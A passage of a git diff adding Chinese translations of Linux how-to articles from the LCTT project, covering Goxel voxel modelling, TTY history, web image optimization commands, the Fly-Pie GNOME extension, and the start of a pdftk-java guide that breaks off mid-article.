https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/gpg-example-message.png?resize=665%2C277&ssl=1 +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/gpg-example-message-encrypted-800x252.png?resize=800%2C252&ssl=1 +[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/gpg-example-message-encrypted-gibberish.png?resize=800%2C252&ssl=1 +[13]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/gpg-message-original-deleted.png?resize=800%2C252&ssl=1 +[14]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/gpg-message-decrypt.png?resize=800%2C252&ssl=1 +[15]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/gpg-key-export-800x218.png?resize=800%2C218&ssl=1 +[16]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/gpg-key-import.png?resize=800%2C221&ssl=1 +[17]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/gpg-edit-key-prompt.png?resize=800%2C351&ssl=1 +[18]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/gpg-edit-key-fingerprint-1.png?resize=800%2C317&ssl=1 +[19]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/gpg-edit-key-sign.png?resize=800%2C531&ssl=1 diff --git a/published/202112/20211212 Open source 3D pixel art with Goxel.md b/published/202112/20211212 Open source 3D pixel art with Goxel.md new file mode 100644 index 0000000000..811bd3d738 --- /dev/null +++ b/published/202112/20211212 Open source 3D pixel art with Goxel.md @@ -0,0 +1,98 @@ +[#]: subject: "Open source 3D pixel art with Goxel" +[#]: via: "https://opensource.com/article/21/12/3d-pixel-art-goxel" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14098-1.html" + +使用 Goxel 制作开源 3D 像素艺术 +====== + +> 使用 Goxel 构建模型很有趣,就像没有锋利边缘的乐高、没有“爬行者”的 Minecraft 一样。 + +![](https://img.linux.net.cn/data/attachment/album/202112/20/125417v2ws2so5g527lpgu.jpg) + +我喜欢乐高,这不是什么秘密,但我的乐高收藏现在离我很远,而且把满满一柜子的经典乐高套装在世界各地搬来搬去看起来也不太可行。为了解决这个问题,从 [在乐高 CAD 中建立模型][2] 到 [在 Blender 中用乐高纹理对模型进行造型][3],我做了很多虚拟化的工作。最近我发现了 [Goxel][4]。这个简单得令人震惊的 3D 建模应用并没有自称是基于乐高的,也没提和乐高有什么关系。然而,用 3D 像素建立模型的感觉与用乐高积木建立模型的满足感惊人地相似。你可以把 Goxel 看作是一个像素绘画程序,但却是 3D 的。 + +Goxel 采取了一种独特的 3D 建模方法,它专门针对 低模low polygon 建模。如果你想雕刻出栩栩如生的模型,就不应该使用这个程序。但是,如果你喜欢 Minecraft 和其他低模艺术的美感,那么你应该试试 Goxel。 + +### 在 Linux 上安装 Goxel + +你可以从 [Flathub][6] 将 Goxel 作为 [Flatpak][5] 安装在 Linux 上。 + +对于 Android、Windows macOS 和 iOS,请到 [Goxel 网站][4] 下载安装程序。 + +Goxel 是开源的,在 GPLv3 许可下发布。 + +### 使用体素绘画 + +当你第一次启动 Goxel 时,在 Goxel 窗口的中间会有一个空的“空间”或容器。这就是你的画布。 + +![The Goxel canvas(Seth Kenlon, CC BY-SA 4.0)][7] + +正是在这个容器中,且只有在这个容器中,你才能建立你的模型。在大多数三维建模应用中,深度感知depth perception是一种努力才能得到的技能,所以 Goxel 限制了你工作的空间,以防止你最终出现模型和模型部件彼此相距甚远的情况。Goxel 还限制你在一个严格的网格中移动。你可以沿 Y 轴上下移动,沿 X 轴左右移动,沿 Z 轴前后移动,但只能在一个三维像素(或称为 体素voxel)的片段中移动。不管用于什么意图和目的,Goxel 的体素就是用来建立模型的虚拟乐高砖块。 + +Goxel 中没有太多工具,这对一个三维建模应用来说是一个真正的特点。默认情况下,你已经激活了铅笔工具,所以你可以通过点击鼠标在体素容器内的任何地方立即开始建造。 + +![Hello from Goxel(Seth Kenlon, CC BY-SA 4.0)][9] + +试着点击容器周围,以查看添加体素的位置。Goxel 让你比较容易地看到你的铅笔即将添加体素的地方,可以把体素当作砖块,它假设当你靠近一个现有的体素时是准备把你的下一个体素连接到它。即便如此,在二维屏幕上实现三维也很困难。有时,体素会被添加到一个你没有意识到的地方。确保你的体素被添加到你想添加的地方的最好方法是经常旋转容器。你可以用键盘上的方向键来旋转容器,或者你可以点击并拖动鼠标中键。右击并拖动容器可在 Goxel 工作区中移动,而鼠标的滚轮可以放大和缩小。 + +### 平面标记 + +Goxel 还提供了另一个对齐体素的技巧,那就是以半透明和临时平面的形式提供指导。当你在你的容器中添加一个平面时,它会创建一种力场,使你的铅笔无法通过。 + +![Goxel planar guide(Seth Kenlon, CC BY-SA 4.0)][10] + +其结果是,你只能沿着两个轴线安全地作画,而不能沿着第三个轴线作画。你可以沿着网格轻推平面,这样你就可以分片添加体素,就像 3D 打印机向物理模型添加一样。 + +禁用平面控制中的 “可见Visible” 选项可以移除平面。 + +![Plane controls(Seth Kenlon, CC BY-SA 4.0)][11] + +### Goxel 工具栏 + +顶部的工具栏包含七个按钮。从左到右: + + * 撤销Undo + * 重做Redo + * 删除所有的东西,且无需确认Delete everything without confirmation + * 添加一个体素Add a voxel + * 减去(删除)一个体素Subtract (remove) a voxel + * 画一个体素Paint a voxel + * 设置油漆颜色Set the paint color + +你可以在单个体素上作画,也可以使用铅笔左边的形状工具,一次性添加体素区域。 + +除了用铅笔删除体素外,你还可以使用激光工具在体素出现在作为计算机显示器的 2D 屏幕上时对其进行调整。在形状工具的右边,把你的光标变成一个十字准线。把它指向你看到的体素,然后点击它来擦除。 + +### 极简主义的宁静 + +Goxel 追求简单,不仅在于它生产的内容,还在于它的生产方式。我在本文中只讨论了 Goxel 的绘图工具。虽然还有其他功能,例如控制光线的俯仰角和偏航角的能力、阴影的强度以及虚拟摄像机的位置,但该应用力求以最佳方式使事情变得简单自然。使用 Goxel 构建模型非常有趣,就像没有锋利边缘的乐高玩具,或者没有“爬行者”的 Minecraft。去使用 Goxel,并构建一些模型吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/3d-pixel-art-goxel + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/uploads/header-image.jpg?itok=3MWdhreV (Pixel art in 3D with Goxel) +[2]: https://opensource.com/article/20/6/open-source-virtual-lego +[3]: https://opensource.com/article/20/7/lego-blender-bricker +[4]: https://goxel.xyz/ +[5]: https://opensource.com/article/21/11/install-flatpak-linux +[6]: https://flathub.org/apps/details/io.github.guillaumechereau.Goxel +[7]: https://opensource.com/sites/default/files/uploads/goxel-canvas.jpg (The Goxel canvas) +[8]: https://creativecommons.org/licenses/by-sa/4.0/ +[9]: https://opensource.com/sites/default/files/uploads/goxel-hello.jpg (Hello from Goxel) +[10]: https://opensource.com/sites/default/files/uploads/goxel-plane-guide.jpg (Goxel planar guide) +[11]: https://opensource.com/sites/default/files/uploads/goxel-plane-controls.jpg (Plane controls) diff --git a/published/202112/20211212 What is TTY in Linux.md b/published/202112/20211212 What is TTY in Linux.md new file mode 100644 index 0000000000..eaab8f356e --- /dev/null +++ b/published/202112/20211212 What is TTY in Linux.md @@ -0,0 +1,142 @@ +[#]: subject: "What is TTY in Linux?" +[#]: via: "https://itsfoss.com/what-is-tty-in-linux/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14093-1.html" + +Linux 黑话解释:TTY 是什么? +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/18/155143cz6aplfi8i6elmll.jpg) + +谈到 Linux 和 UNIX 时,你一定听说过 “TTY” 这个术语,但是,这玩意是什么? + +作为一个桌面用户,它对你有用吗?你需要它吗?你能用它做什么? + +在本文中,让我向你介绍这些,帮助你熟悉 Linux 中的 TTY。 + +注意:这个问题没有明确的答案,但它与过去的输入/输出设备的交互方式有关。因此,你必须了解一些历史,才能清楚地了解情况。 + +### “TTY” 背后的历史 + +一切始于 19 世纪 30 年代的电传打印机Teleprinter。 + +电传打印机可以让你通过电线发送或接受消息,它取代了摩尔斯电码通信,那是一种需要两个操作员才能有效地相互通信的方式。 + +一台电传打印机只需要一个操作员就可以轻松地传递消息。虽然它没有现代布局的键盘,但它的系统后来由 Donald Murray 在 1901 年进行了改良,包括了一个类似打字机的键盘。 + +Murray 电码减少了操作员发送消息的工作量。这才使得电传打印机在 1908 年有了发展成为商业电传打字机Teletypewriter的可能。TTY 即是电传打字机的缩写。 + +![二战期间在伦敦实际使用的电传打字机 | 图片来源于维基百科][1] + +电传打字机和普通打字机typewriter的区别在于,电传打字机连接到通信设备,直接发送输入的消息。 + +[电传打字机使人类在没有计算机的情况下通过电线进行更快的通信成为可能][2]。 + +从这时起,“TTY” 一词就存在了。 + +### (相对)现代的概念 + +现在,你一定想知道,它是如何进入现代计算机和 Linux 的? + +最初是当电传打字机进入了市场,几年后半导体晶体管发展起来,然后演变成微处理器,为计算机的出现做好了准备。 + +最初的计算机没有键盘的概念,打孔卡Punch card就是输入的方法。 + +![一种插入计算机而不是通过键盘(TTY)输入的打孔卡计算机程序 | 图片来源于维基百科][3] + +随着计算机的发展,批量输入的打孔卡最终被电传打字机取代,成为一种方便的输入/输出设备。 + +![1956 年的 LGP-30 计算机,附带 TTY][4] + +随着技术的进步,电传打字机被电子技术“虚拟化”了。因此,你不需要一个物理的、机械的 TTY,而是一个虚拟的电子 TTY。 + +早期的计算机甚至没有视频屏幕。字符被打印在纸上而不是显示在屏幕上。因此,你会看到“打印print”这个术语而不是“显示display”。随着技术的进步,视频显示后来被添加到终端中。 + +换句话说,你可能听说过把它们称为“视频终端”。或者,你可以称它们为“物理”终端。 + +后来,它们演变成具有更强的能力和功能的软件仿真的终端。 + +这就是所谓的“终端仿真器terminal emulator”,如 GNOME 终端或 Konsole,或者其他 [你在 Linux 上找到的各种终端仿真器][5]。 + +### 所以,Linux 中的 TTY 到底是什么? + +在 Linux 或 UNIX 中,TTY 变为了一个抽象设备。有时它指的是一个物理输入设备,例如串口,有时它指的是一个允许用户和系统交互的虚拟 TTY([参考此处][6])。 + +TTY 是 Linux 或 UNIX 的一个子系统,它通过 TTY 驱动程序在内核级别实现进程管理、行编辑和会话管理。 + +在编程的场景下,你还需要深入研究。但是考虑到本文的范围,这可能是一个容易理解的定义。 + +如果你好奇的话,你可以查看一个有点旧的资源([TTY 揭秘][7]),它尽可能的澄清了 Linux 和 UNIX 系统中的 TTY 的各种技术细节。 + +事实上,每当你在系统中启动一个终端仿真器或使用任何类型的 shell 时,它都会与虚拟 TTY(也被称为伪 TTYpseudo-TTY,即 PTY)进行交互。 + +你可以在终端仿真器中输入 `tty` 来找到相关联的 PTY。 + +### 如何在 Linux 中访问 TTY? + +![][8] + +在 Linux 中很容易访问 TTY。事实上,当我不知道它是什么时,我不小心打开了它,于是对要做什么、如何摆脱它感到恐慌。 + +在大多数 _发行版_ 中,你可以使用以下键盘快捷键来得到 TTY 屏幕: + +- `CTRL + ALT + F1` – 锁屏 +- `CTRL + ALT + F2` – 桌面环境 +- `CTRL + ALT + F3` – TTY3 +- `CTRL + ALT + F4` – TTY4 +- `CTRL + ALT + F5` – TTY5 +- `CTRL + ALT + F6` – TTY6 + +你最多可以访问六个 TTY。但是,前两个快捷方式指向发行版的锁定屏幕和桌面环境。 + +![][9] + +而其他快捷方式将会让你进入一个命令行界面。 + +### 什么时候应该使用 TTY? + +TTY 不仅是一个技术宝藏,即使像我这样不是开发人员的用户,它也很有用。 + +在图形桌面环境冻结的情况下,它应该可以派上用场。在某些情况下,从 TTY 重建桌面环境能帮助解决程序问题。 + +或者,你也可以选择在 TTY 中执行任务,例如更新 Linux 系统等。在这些情况下,你不希望显示问题中断你的进程。 + +最坏的情况是,如果图形用户界面失去响应,你可以进入 TTY 并重新启动计算机。 + +有些用户还喜欢在 TTY 的帮助下传输大文件(我不是其中之一)。 + +### Linux 中的 TTY 命令 + +![][10] + +当你在终端模拟器中输入 `tty` 时,它将打印连接到标准输入的终端文件名,就像手册页描述的一样。 + +换句话说,要知道你连接的 TTY 编号,只需输入 `tty`。并且,如果有多个用户远程连接到 Linux 机器,你可以使用 `who` 命令来检查其他用户连接到的是哪个 TTY。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/what-is-tty-in-linux/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/WACsOperateTeletype.jpg?resize=429%2C371&ssl=1 +[2]: https://en.wikipedia.org/wiki/Teletype_Corporation#/media/File:What-is-teletype.jpg +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/punch-card-program.jpg?resize=600%2C274&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/LGP-30-early-computer-1956.jpg?resize=800%2C600&ssl=1 +[5]: https://itsfoss.com/linux-terminal-emulators/ +[6]: https://unix.stackexchange.com/questions/4126/what-is-the-exact-difference-between-a-terminal-a-shell-a-tty-and-a-con +[7]: https://www.linusakesson.net/programming/tty/index.php +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/ubuntu-tty.png?resize=800%2C449&ssl=1 +[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/ubuntu-tty4.png?resize=420%2C124&ssl=1 +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/ubuntu-terminal-tty-command.png?resize=800%2C544&ssl=1 diff --git a/published/202112/20211213 My favorite Linux commands for optimizing web images.md b/published/202112/20211213 My favorite Linux commands for optimizing web images.md new file mode 100644 index 0000000000..cac431740d --- /dev/null +++ b/published/202112/20211213 My favorite Linux commands for optimizing web images.md @@ -0,0 +1,161 @@ +[#]: subject: "My favorite Linux commands for optimizing web images" +[#]: via: "https://opensource.com/article/21/12/optimize-web-images-linux" +[#]: author: "Ayush Sharma https://opensource.com/users/ayushsharma" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14096-1.html" + +用 Linux 命令优化网页图片 +====== + +> 为网页上的缩略图和横幅图片生成经过调整和优化的图片。 + +![](https://img.linux.net.cn/data/attachment/album/202112/19/100432i8qzjr6t22g68uoi.jpg) + +以前我在处理网页工作时,我对图像敬而远之。处理和优化图像既不精确又费时。 + +后来我发现了一些命令,改变了我的想法。为了创建网页,我使用 Jekyll,所以我在说明中包括了它。然而,这些命令也可以用于其他静态网站生成器。 + +### Linux 上的图像命令 + +对我来说有用的命令是 `optipng`、`jpegoptim`,当然还有古老的 `imagemagick`。它们一起使处理图像变得容易管理,甚至可以自动化。 + +下面是我如何使用这些命令实现我的解决方案的概述。我把文章图片放在我的 `static/images` 文件夹中。在那里,我生成了所有 PNG 和 JPG 图片的两个副本: + + 1. 一个裁剪过的缩略图版本,尺寸为 422×316 + 2. 一个更大的横幅版本,尺寸为 1024×768 + +然后,我把每个副本(缩略图和横幅)放入自己的文件夹,并利用 Jekyll 的自定义变量来确定文件夹路径。下面我将更详细地介绍这些步骤中的每一步。 + +#### 安装 + +要跟上我的解决方案,请确保你已经安装了所有的命令。在 Linux 上,你可以使用软件包管理器安装 `optipng`、`jpegoptim` 和 `imagemagick`。 + +在 Fedora、CentOS、Mageia 和类似系统上: + +``` +$ sudo dnf install optipng jpegoptim imagemagick +``` + +在 Debian、Elementary、Mint 和类似系统上: + +``` +$ sudo apt install optipng jpegoptim imagemagick +``` + +在 macOS 上,使用 [MacPorts][2] 或 [Homebrew][3]: + +``` +brew install optipng jpegoptim imagemagick +``` + +在 Windows 上,使用 [Chocolatey][4]。 + +### 为缩略图和横幅创建文件夹 + +安装完这些命令后,我在 `static/images` 下创建了新的文件夹。生成的缩略图放在 `img-thumbs`,横幅放在 `img-normal`。 + +``` +$ cd static/images +$ mkdir -p img-thumbs img-normal +``` + +创建了文件夹后,我把所有的 GIF、SVG、JPG 和 PNG 文件复制到这两个文件夹。我把 GIF 和 SVG 原封不动地用于缩略图和横幅图片。 + +``` +$ cp content/*.gif img-thumbs/; cp content/*.gif img-normal/ +$ cp content/*.svg img-thumbs/; cp content/*.svg img-normal/ +$ cp content/*.jpg img-thumbs/; cp content/*.jpg img-normal/ +$ cp content/*.png img-thumbs/; cp content/*.png img-normal/ +``` + +### 处理缩略图 + +为了调整和优化缩略图的大小,我使用了三个命令。 + +我使用 `ImageMagick` 的 `mogrify` 命令来调整 JPG 和 PNG 的大小。因为我希望缩略图是 422×316,所以命令看起来像这样: + +``` +$ cd img-thumbs +$ mogrify -resize 422x316 *.png +$ mogrify -format jpg -resize 422x316 *.jpg +``` + +现在我用 `optipng` 优化 PNG,用 `jpegoptim` 优化 JPG: + +``` +$ for i in *.png; do optipng -o5 -quiet "$i"; done +$ jpegoptim -sq *.jpg +``` + +在上述命令中: + + * 对于 `optipng`,`-o5` 开关设置了优化的级别,0 是最低的。 + * 对于`jpegoptim`,`-s` 剥离所有图像元数据,`-q` 设置安静模式。 + +### 处理横幅 + +我处理横幅图片的方法与处理缩略图的方法基本相同,除了尺寸外,横幅图片的尺寸为 1024×768。 + +``` +$ cd .. +$ cd img-normal +$ mogrify -resize 1024x768 *.png +$ mogrify -format jpg -resize 1024x768 *.jpg +$ for i in *.png; do optipng -o5 -quiet "$i"; done +$ jpegoptim -sq *.jpg +``` + +### 配置 Jekyll 中的路径 + +`img-thumbs` 目录现在包含我的缩略图,`img-normal` 包含横幅。为了更轻松一些,我在Jekyll的 `_config.yml` 中把它们都设置为自定义变量。 + +``` +content-images-path: /static/images/img-normal/ +content-thumbs-images-path: /static/images/img-thumbs/ +``` + +使用这些变量很简单。当我想显示缩略图时,我把 `content-thumbs-images-path` 加到图片上。当我想显示完整的横幅时,我在前面添加 `content-images-path`。 + +``` +{% if page.banner_img %} + Banner image for \
+{{ page.title }} +{% endif %} +``` + +### 总结 + +我可以对我的优化命令做几个改进。 + +使用 `rsync` 只复制改变过的文件到 `img-thumbs` 和 `img-normal` 是一个明显的改进。这样一来,我就不会一次又一次地重新处理文件。将这些命令添加到 [Git 提交前钩子][5] 或 CI 流水线中是另一个有用的步骤。 + +调整和优化图像以减少其大小,对用户和整个网页来说都是一种胜利。也许我减少图片尺寸的下一步将是 [webp][6]。 + +更少的字节通过电线传输意味着更低的碳足迹,但这是另一篇文章。目前,用户体验的胜利已经足够好了。 + +本文原载于[作者的博客][7],已获授权转载。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/optimize-web-images-linux + +作者:[Ayush Sharma][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ayushsharma +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_web_internet_website.png?itok=g5B_Bw62 (Digital creative of a browser on the internet) +[2]: https://opensource.com/article/20/11/macports +[3]: https://opensource.com/article/20/6/homebrew-mac +[4]: https://opensource.com/article/20/3/chocolatey +[5]: https://opensource.com/life/16/8/how-construct-your-own-git-server-part-6 +[6]: https://opensource.com/article/20/4/webp-image-compression +[7]: https://www.ayushsharma.in/2021/11/optimising-jpg-and-png-images-for-a-jekyll-blog diff --git a/published/202112/20211214 Fly-Pie- An Interesting Menu Launcher for Users Who Rely on Mouse.md b/published/202112/20211214 Fly-Pie- An Interesting Menu Launcher for Users Who Rely on Mouse.md new file mode 100644 index 0000000000..ceffc2b411 --- /dev/null +++ b/published/202112/20211214 Fly-Pie- An Interesting Menu Launcher for Users Who Rely on Mouse.md @@ -0,0 +1,115 @@ +[#]: subject: "Fly-Pie: An Interesting Menu Launcher for Users Who Rely on Mouse" +[#]: via: "https://itsfoss.com/fly-pie/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14109-1.html" + +Fly-Pie:一个为鼠标操作为主的用户提供的有趣菜单启动器 +====== + +> Fly-Pie 是一个用于 GNOME 的独特的菜单启动器,以操作鼠标为主的用户可以用它进行一些操作。 + +应用启动器可以方便地快速切换到一个活动窗口,启动新的应用,等等。 + +[Ulauncher][1] 就是这样一个应用启动器,如果你的 Linux 发行版没有提供一个开箱即用的,那么你可以使用它。 + +如果这已经激起了你的兴趣,你会发现 Fly-Pie 更有趣!以操作鼠标为主的用户总是把一只手放在鼠标上而不是依赖键盘进行导航,Fly-Pie 就是为他们量身定做的应用启动器。 + +![][2] + +### Fly-Pie:可定制的菜单,作为 GNOME shell 扩展使用 + +是的,不幸的是,Fly-Pie 只针对 GNOME 用户。我不确定是否有类似的东西适用于 KDE 或其他桌面环境。如果你知道的话,请在评论区提出你的建议。 + +Fly-Pie 主要为快捷方式、应用、媒体控制、最大化/最小化窗口、工作区导航提供了视觉上的互动图标,并且,比传统应用启动器更多的选项。 + +![][3] + +你可以进一步展开子菜单和下下级菜单。所以,你可以有很多的用例,它应该能发挥鼠标或触摸板的强大导航功能。 + +![][4] + +最重要的是它是高度可定制的。你可以选择背景图片、颜色、自定义图标、分支菜单等。 + +让我来重点介绍它的一些功能。 + +### Fly-Pie 的特点 + +![][5] + +如果你是一个以鼠标或触摸板操作为主的用户,Fly-Pie 为你提供了令人兴奋的导航能力。显而易见,如果你是一个有经验的键盘用户,这并不适合你(但你应该试一下!)。 + +以下是你可以期待的 Fly-Pie 的一些主要功能: + + * 使用键盘快捷键启动 Fly-Pie 菜单 + * 能够在菜单上添加媒体控制和工作区导航 + * 添加自定义图标,为你的桌面定制个性化的菜单 + * 添加喜爱的应用,以便快速访问 + * 关闭一个应用程序窗口 + * 一目了然地检查正在运行的应用,并导航到该窗口 + * 自定义菜单的出现和消失的动画 + * 如果你想让它一直作为覆盖层留在你的屏幕上,能够调整不透明度 + * 调整连接子菜单的跟踪线 + * 你可以根据你的鼠标和触摸板的敏感度,设置一个阈值或笔触角度来定制用户体验 + * 细致的控制来改变颜色,定制图标等 + * 能够定制子菜单和下下级菜单 + * 检查实时预览,以便在使用前轻松定制和测试菜单 + * 通过绘画手势选择项目 + +![][6] + +除了这些功能外,它还增加了一个成就功能,以鼓励用户探索菜单工具的各种使用情况。 + +下面是开发者在 YouTube 上播放的一段官方视频,展示了它的操作: + +![video](https://img.linux.net.cn/static/video/Fly-Pie%2010%20-%20A%20new%20Clipboard%20Menu%2C%20proper%20touch%20support%20%26%20much%20more%21-BGXtckqhEIk.mp4) + +### 在 Linux 中安装 Fly-Pie + +考虑到它是一个 GNOME 扩展,你必须得首先 [进行设置,以便能够在你的 Linux 发行版上使用 GNOME 扩展][7]。 + +设置完成后,你就可以前往 [Fly-Pie 的 GNOME 扩展页面][8] 并轻松地安装该扩展。 + +你应该能够在该页面卸载它并访问设置。如果你感兴趣,可以探索它的 [GitHub 页面][9],了解更多信息。 + +它的 GitHub 页面还包括了帮助你探索其所有功能的文档。 + +### 关于使用 Fly-Pie 菜单启动器的想法 + +Fly-Pie 菜单并不完全是为了取代应用启动器。然而,根据你的使用情况,它可以作为一个基于覆盖层的菜单或一个以鼠标操作为主的启动器来访问选项/应用,非常方便。 + +尽管它是可定制的,但原版看起来是最好的,可以很容易地与你在 Linux 桌面上的任何类型的主题融合在一起。 + +令人印象深刻的是,它可以找到细微的调整来定制图标、缩放、颜色、透明度等等。如果你愿意,你可以试试。 + +考虑到我不是一个使用键盘导航的人,Fly-Pie 看起来是一个有用的 GNOME 扩展,可以节省时间,并为桌面体验增加一个独特的点。 + +即使你认为这不适合你,我也会建议你试一试,看看它是如何工作的,它确实很有趣。 + +你对 Fly-Pie 有什么看法?欢迎在下面的评论中分享你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/fly-pie/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/ulauncher/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/fly-pie-feat.png?resize=800%2C556&ssl=1 +[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/fly-pie.png?resize=800%2C443&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/fly-pie-media-control.png?resize=789%2C586&ssl=1 +[5]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/fly-pie-global-appearance.png?resize=753%2C797&ssl=1 +[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/fly-pie-menu-editor-new.png?resize=800%2C749&ssl=1 +[7]: https://itsfoss.com/gnome-shell-extensions/ +[8]: https://extensions.gnome.org/extension/3433/fly-pie/ +[9]: https://github.com/Schneegans/Fly-Pie diff --git a/published/202112/20211215 4 ways you can edit a PDF with the pdftk-java command.md b/published/202112/20211215 4 ways you can edit a PDF with the pdftk-java command.md new file mode 100644 index 0000000000..ea70d242e2 --- /dev/null +++ b/published/202112/20211215 4 ways you can edit a PDF with the pdftk-java command.md @@ -0,0 +1,182 @@ +[#]: subject: "4 ways you can edit a PDF with the pdftk-java command" +[#]: via: "https://opensource.com/article/21/12/edit-pdf-linux-pdftk" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14121-1.html" + +用 pdftk-java 命令编辑 PDF 的 4 种方法 +====== + +> 用这个方便的 Linux 命令合并 PDF、删除页面、分割 PDF 和填写表格。 + +![](https://img.linux.net.cn/data/attachment/album/202112/27/130643zzwbp4azsxahqzga.jpg) + +技术白皮书、手稿和 RPG 手册,我每天都要处理大量的 PDF 文件。PDF 格式之所以受欢迎,是因为它包含经过处理的 PostScript 代码。PostScript 是现代打印机的原生语言,所以出版商经常将一本书的数字版本发布为 PDF,因为他们已经投入了时间和精力来制作印刷用的文件。但是,PDF 并不是一种可编辑的格式,虽然可以进行一些逆向处理,但它是数字数据发送到打印机之前的最后一站。即便如此,有时你还是需要对 PDF 进行调整,而我最喜欢的工具之一就是 [pdftk-java][2] 命令。 + +### 在 Linux 上安装 pdftk-java + +顾名思义,`pdftk-java` 是用 Java 编写的,所以只要你安装了 Java,它就能在所有主流的操作系统上工作。 + +Linux 和 macOS 用户可以从 [AdoptOpenJDK.net][3] 安装 Java。Windows 用户可以安装 [Red Hat 的 OpenJDK 的 Windows版本][4]。 + +要安装 `pdftk-java`: + +1、从 Gitlab 仓库下载 [pdftk-all.jar 程序][5],并将其保存到 `~/.local/bin/` 或[你 path 变量中的其他位置][6]。 + +2、在你喜欢的文本编辑器中打开 `~/.bashrc` 并添加这一行: + +``` +alias pdftk='java -jar $HOME/.local/bin/pdftk-all.jar' +``` + +3、加载你的新 Bash 设置: + +``` +$ source ~/.bashrc +``` + +### 命令语法 + +一个有效的 `pdftk-java` 命令的结构遵循一个模式,但在模式中的内容有很大的灵活性。语法有点不寻常,因为它没有使用传统风格的 [终端选项][7],但经过实践,它并不难记。 + + * `pdftk`:调用该命令的别名 + * 输入文件:你想修改的 PDF 文件 + * 动作:你想对输入文件做什么 + * 输出:你想在哪里保存你修改过的 PDF 文件 + +最复杂的是动作部分,所以我将从简单的任务开始。 + +### 将两个 PDF 文件合并成一个 + +一本书的封面通常在一个单独的应用中创建,如 Inkscape 或 GIMP,而书的其他部分通常在 Scribus 等排版程序或 LibreOffice 等办公套件中完成,这种情况并不罕见。你可以在你的排版应用中把这两者结合起来。像 Scribus 这样的出版软件可以很容易地引用一张图片,这样当封面改变时,它就会在版面中自动更新。然而,也可以用 `pdftk-java` 将封面预置到 PDF 中: + +``` +$ pdftk cover.pdf body.pdf \ + cat \ + output book.pdf +``` + +在这个例子中,动作是 `cat` 即 连接concatenate 的缩写,和 Linux 的 [cat 命令][8] 一样,它将一个或多个 PDF 文件串联成一个数据流,数据流被引导到“输出output”参数指定的任何文件中。 + +### 从一个 PDF 中删除页面 + +你不能确切地从一个 PDF 中删除一页,但你可以创建一个新的 PDF,只包含你想保留的页面。 + +``` +$ pdftk book.pdf \ + cat 1 3-end \ + output shorter-book.pdf +``` + +在这个例子中,我的书的文件的第 1 页,以及从 3 到结尾的所有页面,都被保存到一个新文件中。因此,我删除的那一页是第 2 页。 + +### 将一个 PDF 分割成不同的文件 + +将一个 PDF 文件分割成许多不同的文件也使用 `cat` 